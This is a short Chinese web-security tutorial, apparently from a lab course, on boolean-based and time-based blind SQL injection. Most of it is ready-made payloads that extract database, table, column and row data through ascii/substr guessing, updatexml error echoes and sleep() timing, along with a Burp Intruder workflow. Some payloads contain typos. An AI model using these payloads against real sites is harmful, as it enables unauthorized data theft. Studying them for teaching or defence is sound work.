web安全Day03:基于布尔的盲注,基于时间的盲注
0x00 基于布尔的盲注
一般web应用中凡是需要搜索数据库的功能模块,往往将搜索到的内容显示出来,这样就可能存在get注入和post注入等sql注入,但是有些功能模块,并不会将搜索到数据原样显示,而是显示是否存在某数据。这样就只能用基于布尔的盲注了
演示:
盲注字典:
方法一:
猜解库名:
猜解库名长度:id=1 and length(database())>5
猜解库名的各个字符是多少:id=1 and ascii(substr(database(),1,1))=67
可以使用burpsuit来**,抓包>>send to instruder>>设置参数>>跑包
猜解表名:
id =1 and ascii( substr((select table_name from information_shcema.tables where table_schema=database() limit 0,1),1,1) )=67
猜解字段名:
id =1 and ascii( substr((select column_name from information_shcema.columns where table_name='表名' limit 0,1),1,1) )=67
猜解内容:
id =1 and ascii( substr((select zKaQ from zkaq limit 0,1),1,1) )=67
方法二:
如果开发没有关闭数据库报错,可以尝试用updatexml报错来回显数据:
id=1 and updatexml(1,concat(0x7e,(select database())),1),1)
查询当前数据库中有哪些表:
id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() )),1),1)
查询表中有哪些字段:
id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=’表名’ )),1),1)
查询表中的数据:
id=1 and updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head )),1),1)
0x01 基于时间的盲注
如果业务功能和数据库有交互,但是不会回显数据库的数据,并且也不会回显是否查到数据呢?
这就需要用基于时间的盲注:以页面响应时间为猜测数据的标准
?id=1 and if( ascii( substr( database(),1,1 ) )>1000,sleep(0),sleep(5) )
?id=1 and if( ascii( substr( (select table_name from information_shcema.tables where table_schema=database() limit 0,1),1,1 ) )>1000,sleep(0),sleep(5) )
?id=1 and if( ascii( substr( (select column_name from information_shcema.columns where table_name='表名' limit 0,1),1,1 ) )>1000,sleep(0),sleep(5) )